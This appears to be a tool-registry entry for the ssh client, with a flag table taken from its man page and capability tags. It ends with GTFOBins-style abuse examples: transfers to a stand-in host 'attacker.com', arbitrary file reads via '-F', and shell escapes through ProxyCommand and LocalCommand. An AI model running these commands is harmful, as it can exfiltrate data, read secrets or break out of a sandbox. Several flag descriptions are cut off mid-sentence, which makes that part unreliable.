Secure Shell client; can execute remote commands, read/write files, transfer data, and spawn shells Can also download files, read arbitrary files, spawn an interactive shell, upload files.
sshsshSandbox: execFile · Timeout: 30s
network.transfer.download system.file.read security.privilege-escalation.shell network.transfer.upload | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
KL | boolean | No | - | port for re- | -KL, -KR |
flag-4 | string | No | - | Forces ssh to use IPv4 addresses only | -4 |
flag-6 | string | No | - | Forces ssh to use IPv6 addresses only | -6 |
flag-B | string | No | - | Bind to the address of bind_interface before attempting to con- nect to the destination host. This is only useful on systems with more than one address | -B |
flag-D | string | No | - | Specifies a local "dynamic" application-level port forwarding. This works by allocating a socket to listen to port on the local side, optionally bound to the specified bind_address. Whenever a connection is made to this port, the connection is forwarded over the secure channel, and the application protocol is then used to determine where to connect to from the remote machine. Currently the SOCKS4 and SOCKS5 protocols are supported, and ssh will act as a SOCKS server. Only root can forward privileged ports. Dynamic port forwardings can also be specified in the configuration file | -D |
flag-E | string | No | - | Append debug logs to log_file instead of standard error | -E |
flag-F | string | No | - | Specifies an alternative per-user configuration file. If a con- figuration file is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored. The default for the per-user configuration file is ~/.ssh/config. If set to "none", no configuration files will be read | -F |
flag-I | string | No | - | Specify the PKCS#11 shared library ssh should use to communicate with a PKCS#11 token providing keys for user authentication | -I |
flag-J | string | No | - | Connect to the target host by first making an ssh connection to the jump host described by destination and then establishing a TCP forwarding to the ultimate destination from there. Multiple jump hops may be specified separated by comma characters. IPv6 addresses can be specified by enclosing the address in square brackets. This is a shortcut to specify a ProxyJump configura- tion directive. Note that configuration directives supplied on the command-line generally apply to the destination host and not any specified jump hosts. Use ~/.ssh/config to specify configu- ration for jump hosts | -J |
flag-K | string | No | - | mote and -KD[bind_address:]port for dynamic port-forwardings. !command allows the user to execute a local command if the PermitLocalCommand option is enabled in ssh_config(5). Basic help is available, using the -h option | -K, -K |
flag-L | string | No | - | -L [bind_address:]port:remote_socket -L local_socket:host:hostport -L local_socket:remote_socket Specifies that connections to the given TCP port or Unix socket on the local (client) host are to be forwarded to the given host and port, or Unix socket, on the remote side. This works by al- locating a socket to listen to either a TCP port on the local side, optionally bound to the specified bind_address, or to a Unix socket. Whenever a connection is made to the local port or socket, the connection is forwarded over the secure channel, and a connection is made to either host port hostport, or the Unix socket remote_socket, from the remote machine | -L |
flag-O | string | No | - | Control an active connection multiplexing master process. When the -O option is specified, the ctl_cmd argument is interpreted and passed to the master process. Valid commands are: "check" (check that the master process is running), "forward" (request forwardings without command execution), "cancel" (cancel for- wardings), "proxy" (connect to a running multiplexing master in proxy mode), "exit" (request the master to exit), and "stop" (request the master to stop accepting further multiplexing re- quests) | -O |
flag-P | string | No | - | ssh_config(5). Refer to the Tag and Match keywords in ssh_config(5) for more information. -p port Port to connect to on the remote host. This can be specified on a per-host basis in the configuration file | -P |
flag-Q | string | No | - | Queries for the algorithms supported by one of the following features: cipher (supported symmetric ciphers), cipher-auth (supported symmetric ciphers that support authenticated encryp- tion), help (supported query terms for use with the -Q flag), mac (supported message integrity codes), kex (key exchange algo- rithms), kex-gss (GSSAPI key exchange algorithms), key (key types), key-ca-sign (valid CA signature algorithms for certifi- cates), key-cert (certificate key types), key-plain (non-cer- tificate key types), key-sig (all key types and signature algo- rithms), protocol-version (supported SSH protocol versions), and sig (supported signature algorithms). Alternatively, any key- word from ssh_config(5) or sshd_config(5) that takes an algo- rithm list may be used as an alias for the corresponding query_option | -Q |
flag-R | string | No | - | -R [bind_address:]port:local_socket -R remote_socket:host:hostport -R remote_socket:local_socket -R [bind_address:]port Specifies that connections to the given TCP port or Unix socket on the remote (server) host are to be forwarded to the local side | -R |
flag-S | string | No | - | Specifies the location of a control socket for connection shar- ing, or the string "none" to disable connection sharing. Refer to the description of ControlPath and ControlMaster in ssh_config(5) for details | -S |
flag-W | string | No | - | Requests that standard input and output on the client be for- warded to host on port over the secure channel. Implies -N, -T, ExitOnForwardFailure and ClearAllForwardings, though these can be overridden in the configuration file or using -o command line options | -W |
flag-a | string | No | - | Disables forwarding of the authentication agent connection | -a |
flag-b | string | No | - | Use bind_address on the local machine as the source address of the connection. Only useful on systems with more than one ad- dress | -b |
flag-c | array | No | - | Selects the cipher specification for encrypting the session. cipher_spec is a comma-separated list of ciphers listed in order of preference. See the Ciphers keyword in ssh_config(5) for more information | -c |
flag-e | string | No | - | Sets the escape character for sessions with a pty . The escape character is only recognized at the beginning of a line. The escape character followed by a dot (`.') closes the connection; followed by control-Z suspends the connection; and followed by itself sends the escape character once. Setting the character to "none" disables any escapes and makes the ses- sion fully transparent | -e |
flag-f | string | No | - | Requests ssh to go to background just before command execution | -f |
flag-g | string | No | - | Allows remote hosts to connect to local forwarded ports. If | -g |
flag-i | file | No | - | Selects a file from which the identity (private key) for public key authentication is read. You can also specify a public key file to use the corresponding private key that is loaded in ssh-agent(1) when the private key file is not present locally. The default is ~/.ssh/id_rsa, ~/.ssh/id_ecdsa, ~/.ssh/id_ecdsa_sk, ~/.ssh/id_ed25519 and ~/.ssh/id_ed25519_sk. Identity files may also be specified on a per-host basis in the configuration file. It is possible to have multiple -i options (and multiple identities specified in configuration files). If no certificates have been explicitly specified by the CertificateFile directive, ssh will also try to load certificate information from the filename obtained by appending -cert.pub to identity filenames | -i |
flag-k | string | No | - | Disables forwarding (delegation) of GSSAPI credentials to the | -k |
flag-l | string | No | - | Specifies the user to log in as on the remote machine. This also may be specified on a per-host basis in the configuration file | -l |
flag-m | array | No | - | A comma-separated list of MAC (message authentication code) al- gorithms, specified in order of preference. See the MACs key- word in ssh_config(5) for more information | -m |
flag-n | string | No | - | Redirects stdin from /dev/null (actually, prevents reading from | -n |
flag-o | string | No | - | Can be used to give options in the format used in the configura- tion file. This is useful for specifying options for which there is no separate command-line flag. For full details of the options listed below, and their possible values, see ssh_config(5) | -o |
flag-q | string | No | - | Quiet mode. Causes most warning and diagnostic messages to be | -q |
flag-s | string | No | - | May be used to request invocation of a subsystem on the remote | -s |
flag-t | string | No | - | Force pseudo-terminal allocation. This can be used to execute | -t |
flag-t-2 | string | No | - | -t | |
flag-v | string | No | - | Verbose mode. Causes ssh to print debugging messages about its | -v |
flag-w | string | No | - | Requests tunnel device forwarding with the specified tun(4) de- vices between the client (local_tun) and the server (remote_tun) | -w |
flag-w-2 | string | No | - | -w | |
flag-x | string | No | - | Disables X11 forwarding | -x |
flag-y | string | No | - | Send log information using the syslog(3) system module. By de- | -y |
Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Download files
ssh user@attacker.com 'cat /path/to/input-file"Read arbitrary files
ssh -F /path/to/input-file xSpawn an interactive shell
ssh localhost /bin/shSpawn an interactive shell
ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' xSpawn an interactive shell
ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhostUpload files
echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"ssh is a command-line utility. Secure Shell client; can execute remote commands, read/write files, transfer data, and spawn shells Can also download files, read arbitrary files, spawn an interactive shell, upload files.